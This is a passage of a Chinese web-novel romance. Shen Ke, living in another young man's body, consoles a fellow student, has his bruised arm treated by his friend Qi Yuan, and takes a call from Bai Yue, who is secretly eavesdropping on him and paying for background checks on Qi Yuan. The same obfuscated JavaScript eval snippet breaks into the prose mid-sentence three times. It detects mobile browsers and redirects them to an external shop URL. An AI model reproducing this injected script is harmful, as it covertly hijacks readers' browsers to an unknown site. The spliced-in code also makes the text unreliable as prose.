“那你有没有试过……和他好好说一说?”沈恪的声音很轻,带着一种天真的认真,“告诉他你这样很害怕,很难过?也许他只是不知道呢?” 在他的世界里,大多数问题都可以通过好好说话来解决,如果一次不行,就多说几次,说道对面烦,若还是不行,就换种方式说。 林未晚苦笑着摇头:“说过的,但他听不进去,还会更生气……” “啊?” 沈恪露出了有些困惑的表情,像是遇到了难题。他咬着下唇想了想,眼神忽然亮了一下: “那……那你有没有试过,找别人帮你一起说?比如你的好朋友,或者父母?人多力量大,他可能就听进去了?” 不那应该不是帮忙,这已经是类似于威胁一般的行为了吧。 沈恪的建议简单直接,甚至有些孩子气,完全出自遇到困难要找帮手的单纯思维,根本没考虑到成年人社会关系的复杂性。 林未晚看着他干净又充满关切的眼眸,一时间竟然不知道该怎么解释那些现实又沉重的事情。 沈恪看着她沉默,也慢慢意识到了自己的建议可能不太对。他有些无措地抓了抓头发,声音低了下去,带着点不好意思:“对不起,我是不是说错话了?我不太懂这些……我只是觉得,你看起来好难过,应该有人帮你。” 林未晚摇了摇头:“不是你的错……是我自己太没用了。” 她顿了顿,看着窗外,像在问沈恪,又像在问自己:“你说,人为什么会变呢?为什么会变得和一开始……完全不一样了?” 这个问题让沈恪也愣住了。 他想起自己。一场心脏手术之后,他就从沈恪变成了温清然,这算不算一种变?变得彻头彻尾,连身体都换了。 他又想起白越。聊天记录里那个对温清然卑微隐忍的白越,和现在这个对他温柔体贴的白越……是同一个人吗?如果是一个人,为什么态度天差地别?这也是一种变吗? 他还想起巷子里那个陌生的侵犯者,和眼前这个哭泣的林未晚……人似乎总是很容易就伤害别人,或者被别人伤害。 “我也不知道。”沈恪老实地回答,眼神有些茫然。 他从小到大接受的教育,无论是来自父母还是医院,都告诉他世界大体是向善的,人是会互相帮助的。可最近遇到的这一切,都和他的认知不太一样。 “可能就像天气一样?”他努力组织着语言,试图用自己有限的经验去理解,“有时候出太阳,有时候下雨,有时候还会打雷。” 这个比喻很幼稚,但他只能想到这么多,“人大概也是吧?有时候很好,有时候……就不太好了。” 他顿了顿,看着林未晚,很认真地说:“但是,打雷下雨的时候,我们可以躲起来,等天晴。如果一直打雷下雨,那个地方可能就不适合再待下去了。” 林未晚愣怔地看着他干净的眼睛和认真的表情,过来好一会儿,才像是终于被拉回现实,苦涩地摇了摇头,声音低得几乎听不见:“可我没地方躲。” 她深吸一口气,卯足了勇气,才把那沉重的现实摊开在这个陌生的男生面前:“我家里条件不好,是建档立卡的贫困生。我在外省上大学,学费是贷款,但生活费很大一部分是他打黑工攒下来给我的。” 她捂住脸,肩膀剧烈地颤抖起来,“我知道这样不对,我知道他有时候走的不是正道,脾气也越来越坏……可我没办法。我每次想分手,一想到他的付出,想到如果没有他,我可能已经被嫁出去换了彩礼……” “如果我没有考到外省是不是会好一点……” 她说不下去了,只剩下绝望的哭泣。 沈恪愣住了。他虽然不知道“考到省内对象就不会变坏”这是什么逻辑,但还是笨拙地抽出纸巾递过去,安静地陪着她。 过了好一会儿,林未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265385|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚的情绪才稍微稳定。沈恪陪她坐了十来分钟,两个人交换联系方式后他才起身离开。 *** 回到台球厅,二楼已然一片狼藉。男人瘫在翻倒的台球桌边,额角流血。他的小弟鼻青脸肿地缩在墙角。祈愿嘴角破了,颧骨有块青紫,正靠在墙边。安阳愤愤地踹着椅子:“妈的!早知道还不如去打高尔夫!虽然无聊但好歹不会遇见傻逼。” “去了也只会遇见有钱的傻逼。”祈愿刚把烟点燃,抬眼看见沈恪回来,目光扫过他苍白冒汗的脸,眉头蹙了下,把刚吸了一口的烟按灭在旁边的垃圾桶上。 “好像不太妙啊,”他扯了扯嘴角,“不该还手的,这下成互殴了。” “我呸!”安阳立刻嚷道,“温大爷都被那傻逼用棍子抡了,咱们要不还手,那不成孬种了吗!” 沈恪心里一暖。他知道安阳他们维护的是“温清然”这个兄弟,不是他沈恪。但这份在混乱中挺身而出的义气,还是让他感到陌生的触动。 其实,温清然真的有一群很好的朋友。 这个念头跳进沈恪脑海。他不由得想起医院里,温清然听到祈愿他们也来A市时那冷漠的拒绝。 真是身在福中不知福。 警笛声由远及近。警察赶到后,将所有人带回了派出所。 监控调取清楚,前因后果一目了然。男人酒醒了大半,看着监控里自己先动手打人的画面,脸都白了:“我赔钱!赔医药费!什么都行!千万别再关我了!” 负责调解的警察看向沈恪他们:“你们这边什么意见?” 顾云岚冷冷开口:“他不是知道自己错了,他是知道自己要死了。” 祈愿没说话,看向沈恪。 沈恪被这目光看得有些无措。他当然不想把事情闹大,把男人彻底逼急未必是好事。 但他也不知道该怎么办才好。他抿了抿苍白的嘴唇,鼓起一点勇气,声音不大却清晰:“他必须赔偿医药费……还有道歉。还有,他不能再去找林未晚同学的麻烦。” 男人像是抓住了救命稻草,连连点头:“分!马上分手!我保证再也不找她!” 沈恪愣住了。 就在十几分钟前,林未晚还在眼泪汪汪地诉说着那份沉重到让她无法挣脱的恩情和愧疚。 而现在,眼前这个男人,却连一秒钟的迟疑都没有,就迫不及待地要将这段关系切割干净。 怎么会这样? 林未晚的那些眼泪、那些纠结、那些痛苦和恐惧……在这个男人眼里,难道就如此的不值一提吗? 沈恪更加茫然了。他原本以为,至少会有一点点不同,哪怕只是一点点虚伪的不舍,或者推脱责任的狡辩,可什么都没有。 只有急于脱身的干脆利落。 他好像……还是没能真正理解,这些人这些事,到底是怎么一回事。 和解协议很快达成。男人赔了钱,接受了严厉批评教育。等沈恪等人得以离开,已是黄昏。 走出派出所,安阳勾住沈恪没受伤的左肩:“我靠!温大爷,你今天可以啊!” 顾云岚也侧目看了沈恪一眼:“确实,处理方式和以前不太一样。” 不行,要暴露了。 沈恪心里咯噔一下,连忙模仿着温清然的语气:“那不是有妹子在场嘛。显得咱大气点儿。” “哈哈哈哈!”安阳爆笑,“我就知道!温大爷你还是那个熟悉的人渣!我还以为你和白越一起混久了都从良了嘞!” 沈恪没笑,只是走在稍前一点。 几人找了家饭馆草草吃了点东西。沈恪左手拿着勺子,吃得心不在焉。右臂的疼痛一阵阵袭来,但更让他心神不宁的,是手机里白越最后那条不打扰。 他生气了吗? 吃完饭,安阳又提议去下一场。 “累了,回酒店。”祈愿直接否决。 沈恪下意识问:“今晚……不去网吧了?” 祈愿停下脚步,转过身看着他:“不去了。回头去房间,衣服脱下来我瞧瞧。” 沈恪懵了。 17. 分三种人 瞧什么?沈恪没反应过来。 但是脱衣服那几个字,他可是听得一清二楚了。 他先是懵了两秒,随后整张脸腾地一下就红了,慌忙摆手,声音都结巴了:“不、不不不!我有对象了!不合适!” 沈恪话一出口,他自己先愣住了。 对象?谁的对象?白越什么时候成他对象了?这话要是传到温清然耳朵里…… 走在前面的安阳耳朵尖,一听这话立刻刹车回头,眼睛瞪得老大,大腿一拍就是造谣:“我靠!什么情况?温大爷你个畜生终于连发小都要下手了吗?!从高速路上我就知道你俩……” 他话没说完,旁边的顾云岚已经面无表情地伸出手,一把捂住了他的嘴。 “唔!唔唔!”安阳被捂得猝不及防,手脚并用地挣扎,眼神在祈愿和满脸通红的沈恪之间来回扫射,充满了“我懂你”的兴奋。 祈愿闻言,没好气地翻了个白眼。 那句“白越?那你对象?那是温清然的对象你还你对象上了”几乎就要冲口而出,他余光瞥见一旁的安阳和顾云岚,又硬生生把话咽了回去。 这一眼,正好和顾云岚对上。 顾云岚无视安阳的抗议,对祈愿点了下头,语气平淡:“他脑子不正常,我们先走。”说完,毫不费力地半拖半拽着安阳,大步走进了酒店电梯。 电梯门关上,隐约还能听见安阳被松开后的一声怪叫和顾云岚冷冷的“闭嘴”。 现场只剩下沈恪和祈愿。 沈恪的脸还红着,头快埋到胸口了。 祈愿看着他这副鹌鹑样,扯了扯嘴角,语气听不出情绪:“你对象?”他顿了顿,终究没往下说,“我是说,你今天挨那一下,胳膊,肿了得处理。” “啊?……啊!”沈恪猛地抬头,意识到自己完全会错了意,从脸颊到脖子瞬间红透,“没、没怎么肿……” “少废话。走了。” 沈恪不敢再吭声,像个犯了错的小学生,低着头,亦步亦趋地跟在他身后。路过电梯时,他恨不得冲进去按下所有楼层键逃离现场。 刷卡,开门。 祈愿把房卡插进取电槽,更多的灯亮起来。他走到窗边,拉上窗帘,声音从那边传来:“脱。” 沈恪手一抖,刚褪下去的红晕又涌了上来。 “想什么呢,看着傻了吧唧的。”祈愿转过身,脸上没什么表情,“我还不至于禽兽到对着兄弟的身体都能产生兴趣。” 虽然话糙理不糙吧,但这话未免有点太糙了。 沈恪磨磨蹭蹭地褪去外衣。动作有点大,牵动了右臂的伤,他忍不住嘶了一声。 右小臂外侧,从手腕往上三寸开始,一片触目惊心的淤青,边缘已经发紫,中间肿得发亮,皮肤绷得紧紧的。 祈愿眼神沉了沉,没再多说刚才的误会。“等着。”他转身出门,没多久拿着冰袋和药膏回来。 “坐。” 沈恪乖乖在床边坐下。祈愿半蹲在他面前,这个角度让沈恪不得不低头看他。祈愿的睫毛很长,在眼睑下投出一小片阴影。他拆开药膏,挤出一些在指尖。 “可能会有点疼,受着。” 冰袋先敷上来,刺骨的凉意让沈恪倒吸一口凉气。紧接着,带着药膏香味的指尖触上皮肤,以适当的力道揉按。 “嘶……” “现在知道疼了?”祈愿说话没个好气,手上的动作却没停,“站那儿当靶子的时候怎么一声不吭?腿长着是摆设?不会躲?” 他的手指按到淤青最重的地方,沈恪疼得整个人一缩。 “嘿、嘿嘿……”沈恪试图用笑掩饰尴尬,“就、下意识……” 其实真挺疼的,但他当时真的没想那么多,身体比脑子动得快也是没办法的事。 现在想想,如果那一棍真砸祈愿头上…… 噫。 不敢想不敢想。 花开的最好时机是春天和秋天,至少绝对不该是今天。 祈愿抬起眼,看了沈恪一眼。灯光下,沈恪的眼睛有点湿,不知道是疼的还是别的什么。额前几缕金发被薄汗濡湿,粘在额角,衬得那双蒙着水汽的眼睛更加无辜。 看着真的蠢死了。 他垂下眼,继续手上的动作。药膏在皮肤上化开,凉意渗进去,疼痛似乎真的缓解了一些。 “这身体你给我看着点。”祈愿忽然说,声音低了些,“不然我可就要遭老罪了。” 沈恪眨了眨眼,没懂。 祈愿抬眼看向沈恪,似笑非笑:“想知道为什么我能和温清然那混蛋当这么多年朋友吗?” “为什么?” “他家比我家有钱。跟着他混,我家也能蹭到点大佬指缝里扔出来的资源。” 沈恪愣住了。这理由简单粗暴得让他完全接不上话。他张了张嘴,最后只干巴巴地哦了一声。 原来……朋友之间,也是要衡量这些的吗? 那温清然是知道这一点所以才不愿意见祈愿他们吗? 房间里安静了几秒,只有祈愿揉按药膏时的摩擦声。 沈恪低着头,看着祈愿专注的侧脸。灯光在祈愿脸上投下柔和的光影,将他平日里那副玩世不恭的棱角磨平了些许,却也更清楚地显露出眉眼间的疲惫。 他犹豫了一下,小声开口:“对不起。” 祈愿的手顿了顿:“什么?” 沈恪抿了抿唇:“因为你看起来好像不是很开心的样子。但我当时……确实是想也没想就那么做了。” 他说完就后悔了,这话听起来太自作多情。祈愿开不开心,和他挡不挡那一下有什么关系? 祈愿没说话,只是看着他。那眼神平静得让沈恪有些发慌,他下意识想移开视线。 看着沈恪这副笨拙道歉的模样,祈愿心里那点烦躁忽然散了些。 他倒是突然理解了,为什么白越那样的人会对他感兴趣。 他们那种站在金字塔最高层、习惯了算计和权衡的人,最喜欢的,可不就是这种干净得一眼能看到底,完了还会傻乎乎地凑上来关心自己的小白花么?容易掌控,容易拿捏,还容易……养出点不该有的心思。 尤其白越那种在畸形环境里泡着长大的人,多多少少沾点心理变态。越是得不到的东西,就越想要;越是干净得刺眼,就越想拽进泥里染上自己的颜色。这种人,一旦认准了什么,恐怕是死都不会撒手,非得彻底揉进骨血里才罢休。 过了好一会儿,祈愿忽地笑了出来,带着点无奈,带着点无语。 “傻子。”祈愿低下头,继续抹着药膏,动作却比刚才轻了些,“有什么好道歉的。” 话虽这么说,祈愿的心里却忽地生出犹豫。再说下去,被白越知道了……那家伙表面上温温和和,内里指不定怎么计较。 为了一个刚认识没几天、连真名都不知道的“温清然”,去冒可能被白越盯上的风险,值得吗? 他看着沈恪手臂上那片刺目的青紫,又想起这人挡在自己身前时,那副不管不顾的傻缺模样。 不值。 但…… 祈愿闭了闭眼,再睁开时,眼底那点犹豫被压了下去。 算了,就当他今天多管闲事。反正这房间也没别人,没人会知道他说过什么。 他顿了顿,像是在组织语言,然后才重新开口:“其实啊,这世上的人,尤其是站得高点的那些人。” “按钱怎么来的分,大概能分出三种。” 沈恪安静地听着。 “第一种啊,”祈愿竖起一根手指,“钱像地下的泉。泉眼就在那儿,他躺着,水自己就往外涌。祖荫、产权、股息……他们什么也不干,银行卡就会不断入账。比如白越一家。” 他的指尖沾着药膏,在沈恪手臂上轻轻写了个1,凉丝丝的。 “第二种,”又竖起一根手指,“虽然找不到现成的泉眼,但他们会建渠、布管、调阀门。手底下的人就是他的活水源头,昼夜不息地替他产出财富。财富对他们来说,更像一套供水系统。比如温清然一家。” 沈恪的呼吸不自觉地放轻了。 他第一次听人用这种方式分类,既直白又残酷。 “至于第三种……”祈愿抬眼看向沈恪,那眼神很深,“是把自己当柴烧的人。” “火光冲天,能照亮一片天地,也能给别人取暖。但代价是得不断把自己丢进去烧。这类人的财富,或者说这类人拥有的东西,一般都得带着点焦味。” 沈恪听得似懂非懂:“所以你家是第三类?” 祈愿大咧咧地笑了下:“不然呢?你真以为住军区大院的都是权贵?也有普通人。这又不是写小说。” “要不是运气好搭上温家,我可混不进这少爷圈子,高考结束了就得去当兵,继续走我爸的老路。” 祈愿用力拍了拍他没受伤的那边肩膀,语重心长:“所以我才让你离白越远点。” “他家的权势远超乎你的想象。你能喊的出来名字的那些大佬,大多都没他家有钱。” 沈恪沉默了。 他抿了抿唇,手指无意识地抠着床单。过了好几秒,他才小声但坚定地说:“他不是那种人。” 祈愿翻了个白眼,一种说不清道不明的不爽涌了上来。不知道是因为自己说了那么多,对方却像耳旁风一样听不进去;还是因为别的什么。他懒得再说,只是收回手,将药膏盖子拧得有点紧。 行吧。有人非要闭着眼往悬崖边上走,他能怎么办?总不能真眼看着他掉下去。最多到时候想办法捞一把,别真摔死了就成。 祈愿把冰袋重新包好,塞进沈恪手里:“自己按着,二十分钟。” 他站起身,走向卫生间洗手。水声传来,沈恪坐在床边,看着手臂上那片青紫,脑子里乱糟糟的。 *** 酒店套房30B。 白越摘下耳机,轻轻放在桌上。 房间里只开了一盏落地灯,暖黄的光晕笼罩着书桌一角,其他地方都沉在昏暗里。屏幕上,音频软件已经停止播放,最后的波形停在一个平缓的峰值。 他缓缓靠向椅背,真皮座椅发出轻微的声响。修长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265386|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指取下眼镜,搁在桌上。没了镜片的阻隔,那双眼睛在昏暗光线下显得格外幽深。 台球厅的监控录像他半小时前就看完了。高清画面里,“温清然”的身影挡在祈愿身后,硬生生接下了那一棍。画面放大,能清晰地看到对方瞬间发白的脸色和紧抿着的唇。 但他一声没吭。 现在,这段监听补全了画面的后半部分。 祈愿那句“他家比我家有钱”,说得那么坦然,那么理所当然。 白越的指尖轻轻拂过屏幕,停在音频文件的图标上。他的嘴角,极其缓慢地勾起一丝弧度。 冰冷。玩味。了然。 原来如此。 利益捆绑。 那么……很多事情就简单了。也复杂了。 祈愿能认出来温清然壳子里换了个人,他一点也不意外。他和温清然只有短短几个月的相处,都能感受到那熟悉的灵魂被全然不同的内核取代,祈愿作为温清然十几年的朋友,察觉出异常是理所当然的事。 祈愿这人,看似大大咧咧游戏人间,实则心思远比表现出来的细腻。 只是,祈愿的反应与白越预想的要不同。 他没想到祈愿会对这个“温清然”如此友善。那种带着点无奈,带着些许责备,却又实实在在的维护,透过音频传递过来,异常清晰。 这让白越心里那点不悦,不知不觉间便拧成了沉在井底的麻绳,粘稠而阴湿。潮气渗进每一缕纤维,沉甸甸地坠着,既提不起来,也烂不断。 他的小鹌鹑,在别人面前,露出了他从未见过的样子,甚至似乎根本不需要费力伪装成温清然。他会疼得吸气,会笨拙地道歉,会露出祈愿口中傻了吧唧的表情。 而在自己面前呢? 总是小心翼翼地扮演着温清然这个角色。用那份温和耐心去弥补温清然对自己一贯的冷漠与恶劣。他的讨好,他的瑟缩,他谨小慎微的每一分善待,都建立在“我是占了他身体的罪人,我要替他还债”的可笑认知上,如同隔着毛玻璃的问候。 甚至就连出个门,都要对他撒谎,说是和朋友来玩。 明明对他说实话,自己也不会把他怎么样。 至少现在不会。 可他的小鹌鹑偏偏要把那份不设防的鲜活模样,留给别人。 凭什么? 凭什么祈愿能轻易得到他不曾拥有的? 白越不知道这种胸腔里翻搅的酸涩暴戾的情绪,是不是就是别人常说的“吃醋”。他从未体验过,也无从比对。 他只是不爽,很不爽,非常不爽。不爽到想要立刻出现在那人面前,把那双湿漉漉的眼睛蒙上,把那张对别人傻笑的嘴巴堵住,把他锁进一个只有自己知道的地方,让那些碍眼的人都消失,让那双眼睛里从此只能映出自己的影子。 但下一秒,这个念头就让他自己先皱了眉。 关起来……然后呢? 那双总是盛着暖意的眼睛,会立刻被惊恐取代吧?会颤抖,会流泪,会拼了命地想逃。 他忽然觉得有点烦躁,又有点莫名的涩然。 甚至都不必把人真关起来,光是让他知道,自己此刻正在监听他的一举一动,就足以把人吓得头也不回地逃开,逃得远远的,再也不敢靠近。 他的确期待过这个画面,却也清楚知道那不是他想要的。 他想要的是活生生的、会对他笑、会依赖他的小鹌鹑,不是一具被吓破了胆后只剩空壳的玩偶。 可这无法宣之于口、更无法付诸行动的情绪,正将他拖向无人可见的深海,让他几乎窒息。 他既想狠狠攥紧,又怕稍一用力,就彻底捏碎。 到底要如何是好。 白越关掉音频软件,屏幕暗下去,映出他自己模糊的倒影。黑暗中,他静坐了几秒,然后重新点亮屏幕。 邮箱里有一封未读邮件,发件人是一串无规律的数字。点开,内容简短: 【张强,1997年生人,籍贯H省,曾因盗窃罪判处有期徒刑一年零三个月,刑满释放后无固定职业。目前受雇于……】 白越的目光在“受雇于”三个字上停留了两秒。 他将钱转了过去,再重新编辑信息,发送。 【再查祈愿。背景,财务状况,近期动向。所有。】 发送成功。 白越闭上眼,指尖在扶手上轻轻敲击。一下,两下,三下。节奏平稳的就像心跳,试图将翻涌而出的微妙躁动按下去。 他尝试冷静,心里的烦躁却挥之不去。那声“嘿嘿”,那句“他不是那种人”,还有祈愿指尖触碰皮肤的细微声响……这些动静都在搅动着他心底那片见不得光的占有欲。 凭什么祈愿能碰? 凭什么祈愿能听? 凭什么……他的小鹌鹑,要对别人笑?要为了别人受伤? 过了片刻,他睁开眼,眸底深处的波澜被强行抚平,恢复成一贯的幽深平静。他拿起手机,从通讯录里找到那个置顶的号码。 指尖悬停一瞬,然后轻轻按下。 拨通。 18. 直到雨停 卫生间里,祈愿打开水龙头。冰凉的水流冲刷过指尖,也似乎将心里那点莫名的烦躁冲淡了些。他盯着镜子里的人看了几秒,扯了扯嘴角,转身回到房间。 沈恪正低头按着冰袋,睫毛垂着,不知道在想什么。 心里那股烦躁感又悄无声息地附了上来。 好想抽烟。 他想。 但目光落在沈恪微微发红的眼眶上,这个念头又自己熄了。算了,这种一看就是乖宝宝的家伙,肯定受不了二手烟。 他走到自己那张床边坐下,手肘搭在膝盖上,就这么看着沈恪。 灯光勾勒出对方张扬的外形轮廓,但那种神情,那种微微缩着肩膀、眼神清澈愚蠢的样子,跟温清然那混蛋平时拽得二五八万的模样天差地别。 脆弱得像块一碰就碎的玻璃。 祈愿想不明白了。 就这性子,面对台球厅那个一米九的壮汉时,是怎么忍住没后退的?不仅没退,还敢往前一步,硬生生替自己挡下那一下? 怪。 他有点好奇了。 “站起来我瞅瞅。”祈愿忽然开口。 沈恪正看着手臂上的冰袋,闻言一愣,但还是依言乖乖站了起来,右手还下意识护着受伤的手臂。 “站墙边。” “怎么了?”沈恪有些不解,听话地挪到了墙边站好。 祈愿没回答,只是走过去,在他身边站定,抬手在他头顶比划了一下高度,手就停在原处留作标记。 “你多高?”他问。 沈恪眨了眨眼,努力回想:“183?” “我是问你,”祈愿转过头,看着他,“不是温清然。” 沈恪懵了一下,然后才小声回答:“171。” 祈愿嗯了一声,先前在墙上标记着183高度的手指往下移了移,在大概171的位置点了一下。看着那明显矮了一截的落差,他嘴角不明显地弯了一下,心情似乎好了点。 “比我矮一个头啊。”他随口道,带着点说不清的意味,“我也183。” 沈恪不知道对方在笑什么,只是因为这突兀的身高比较而感到些许窘迫:“我心脏不太好,经常生病,在医院住了六年,营养跟不上,也不怎么锻炼,所以……只有这么高了。” 他低下头,看着自己的脚尖,随即又抬起脸,扯出一个真心实意的笑:“所以我其实还挺开心的,能成为温清然。” 至少,能健康地站在这里。 笑得一脸傻样。 祈愿看向他的眼神有点复杂:“如果我是你,我就不会这么说。” “?” “你这一句话,”祈愿竖起三根手指,“至少透露了三个点。” 他语速平缓,像是在分析题目:“一,你本人身体欠佳,长期住院。二,你在A市某家医院的心血管相关病房住了起码六年,能有住院部且医疗资源丰富的医院,在A市就那么几家。我现在去护士站问问,找个住了这么久院的年轻病人,应该不难。” 他竖起第三根手指,语气调侃,“第三,你本人很矮。” 沈恪先是茫然,随即反应过来,脸颊微微鼓起,那双总是湿漉漉的眼睛难得瞪圆了,带着点被冒犯的生气:“你真没礼貌!” 祈愿看着他这副终于有点鲜活气的模样,眼里闪过笑意,从善如流地举起一只手:“行行,对不起,我太没礼貌了。” 他放下手,状似随意地换了个话题:“你俩现在对换回来这事儿,有什么头绪吗?” 沈恪脸上的那点气性立刻消散了,取而代之的是无奈。他摇了摇头,声音低了下去:“没有……我也很想尽早换回来。” 他顿了顿,语气很丧:“我不想再骗人了。” 白越。 这个名字突兀地出现在了祈愿的脑子里。 能让他露出这副表情的,估计也只有白越了。 祈愿看着沈恪瞬间黯淡下去的模样,那股想抽烟的冲动又冒了出来,在胸腔里蠢蠢欲动。他抿了抿唇,忽然开口,声音在安静的房间里显得格外清晰: “我说,你应该不是真的喜欢上白越了吧?” 沈恪的身体僵住了,随即,整张脸以肉眼可见的速度唰地一下红透了,连脖子和耳朵都染上了绯色。 “怎么突然问这个!” “是不是?” “没有的事!”沈恪头摇得像拨浪鼓,眼神乱飘,手指无意识地绞在一起,“我只是……只是……” 只是什么? 他说不下去了。 难道要告诉祈愿,自己是因为同情白越的遭遇,是因为觉得他可怜,是因为愧疚于占据了温清然的身体才对他那么好吗?是这样,可好像又不完全是。 他的确会贪恋白越给予的温暖和安全感,会为他过去的经历心疼,会在想到他正孤身一人时感到难受…… 可那是喜欢吗?像电视剧和小说里描述的那种,怦然心动、非他不可的喜欢? 可能是?但又好像还差了点什么,连他自己也说不上来。 这和依赖家人的感觉不同,和感激医生护士的照顾也不同,更不像对祈愿这种混杂着感激、歉意和些许畏惧的复杂感觉。 他只是觉得……白越那么好的人,温柔、体贴、善解人意,不该被温清然和祈愿他们那样疏远忌惮。 他值得被温柔对待。 看着沈恪陷入沉默,眼神挣扎,唇抿得发白,祈愿心里那阵烦躁越来越明显。 “没有就行。”他最终只是这么说,移开了视线,语气恢复了平淡。 然后,像是要提醒什么,他听到自己的声音再次响起: “别忘了,你可不是温清然,你用他的身子和白越搞起来了我会不好和温老爷子交代。” 话说出口,连祈愿自己都愣了一下。他也不知道为什么非要在这个时候,用这种近乎冷酷的语气,去戳破对方努力维持的平静,去强调那个残酷的事实。 效果是立竿见影的。 沈恪猛地抬起头,眼眶以肉眼可见的速度红了,眼睛如同蒙了一层水壳子,轻轻眨一眨眼就会控制不住地碎掉然后落下眼泪。他整个人都瑟缩了一下,嘴唇动了动,却没发出声音,只是那副快要哭出来的样子,看着实在可怜。 他知道祈愿说得对。每一个字都对。他才是那个鸠占鹊巢的人,占了温清然的身体,住了温清然的房间,用了温清然的一切……甚至,继承了温清然的男朋友。 可他心里就是难受。那种难受说不清道不明,像有根细针在心脏最软的地方轻轻扎。 他一个小偷,有什么资格难受? “我……我明天会再去找温清然的。”沈恪的声音带着浓重的鼻音,低得几乎听不清,像是个做错了事的孩子在做出保证。 祈愿在心里无声地叹了口气。 不是你哭什么啊到底。他想这么说,可看着对方那副惨兮兮的模样,又把话咽了回去。 他站起身,走到沈恪面前。沈恪下意识地缩了一下,以为他要说什么,或者做什么。 祈愿只是伸出手,在那头柔软的金发上揉了一把。 “行了没怪你。”他说,“你叫什么名字?” 沈恪一愣,抬起头,眼睛因为惊讶微微睁大:“为什么突然问这个?” 是啊,为什么问这个。祈愿自己也不知道。他只是……忽然想知道,这副身体里住着的,到底是谁。 “我叫沈……诶?” “Eighteen, we were undergrads……” 话音未落,手机铃声响起。 歌声在安静的房间里流淌开来。沈恪看了眼来电显示,又下意识地瞟向祈愿,表情肉眼可见地慌了。 祈愿对着他摆了摆手,从口袋里取出烟盒和打火机,推门出去了。 “你聊着,我一会回来。” 门轻轻关上。 等到祈愿出去,沈恪深吸一口气,才小心地按下了接听键,把手机贴到耳边。 “白越?”他声音有点紧,“晚上好啊,怎么啦?” “宝宝。”电话那头,白越的声音比平时低,带着一种刻意压抑的轻颤,背景音里隐约传来沉闷的雷声,由远及近,“……你那边,没下雨吧?” “没、没有啊。”沈恪一愣,竖起耳朵仔细听,“你那边打雷了?你……怕打雷吗?” 问完他心里有些嘀咕,之前没听说过白越怕这个啊。 听筒里沉默了两秒,然后传来一声几乎被雷声掩盖的吸气声。 “有一点。雷声太响的时候,会觉得……有点空。” 白越的声音透过听筒传来,带着依赖。 可不知怎么,沈恪却猝不及防地想起白天小巷里那只捂住他嘴巴的手,那贴在颈间令人毛骨悚然的呼吸,还有那句带着嘲弄的“你男朋友呢?他在哪里?”…… 沈恪的呼吸滞住,鼻尖瞬间泛酸。他几乎能想象白越独自待在空旷房间里担惊受怕的样子,而自己呢?经历了那样可怕的事,却连一个字都不能对他说,甚至对他说了那么多谎,把他一个人丢下…… “没、没事的!”他急忙开口,声音却比刚才更软,带着颤抖,不知道是在安抚白越,还是在安慰自己,“我在这呢,我陪着你。雷很快就过去了。” “嗯。”白越的声音似乎松快了一点点,“宝宝会陪着我吗?” “会的!”沈恪用力点头,尽管对方看不见,“我会一直陪着你的。” 电话那头安静了片刻,只有隐约的雨声和渐弱的雷鸣。 “真的吗?” “当然。” 直到这场雨停。 “阿然……你真的变了好多啊。” 沈恪心里咯噔一下,握着手机的手指微微收紧。 “以前……”白越的声音平静地叙述着,“有一次,也是这样的雷雨天,我给你打电话。” 沈恪屏住了呼吸。 “你很不耐烦,语气很凶地让我滚。”白越顿了顿,仿佛在回忆,“我回到家……想看看你是不是心情不好,你抓起手边的手机,就朝我砸了过来。” 沈恪的呼吸滞住了,心脏闷闷地疼。 温清然……他怎么能这样对白越? “对、对不起……”沈恪的声音哽了一下,除了道歉,他不知道自己还能说什么。为那个伤害了白越的“温清然”,也为自己此刻占据着这具身体却无能为力的现状。 “不用道歉,宝宝。”白越的声音恢复了那种柔软的调子,仿佛刚才只是随口提起一件旧事,“都过去了。现在的你……很好。” 这轻描淡写的“很好”,反而让沈恪更难受了。白越是经历了多少失望,才会觉得现在这样不伤害他,就已经是很好了? “宝宝,”白越适时地转换了话题,声音里带上了一点小心翼翼的期待,“我明天可以来找你吗?我想见你。” 明天? 沈恪猛地想起自己几分钟前才对祈愿说过的话—— “明天我会再去找温清然的”。 他卡壳了。 早知道就不这么说了。 “明、明天……”他支吾着,愧疚感加倍涌了上来。他刚刚才信誓旦旦说要陪着人家,转眼就连见面都要拒绝,真过分。 “明天我有点安排,可能不太方便……” “这样啊。”白越的声音低了下去,透着失落,“没关系的,宝宝你先忙你的。是我太想当然了,应该提前问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265387|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的。” “对不起……”沈恪恨不得穿越回几分钟前咬掉自己的舌头。 他感觉自己像个反复无常的混蛋。 “不要道歉。”白越轻声打断他,语气里甚至带上了一点安抚的笑意,“那……宝宝,七号的时候,我可以来见你吗?” 七号。十月七号。 沈恪恍惚了一下。 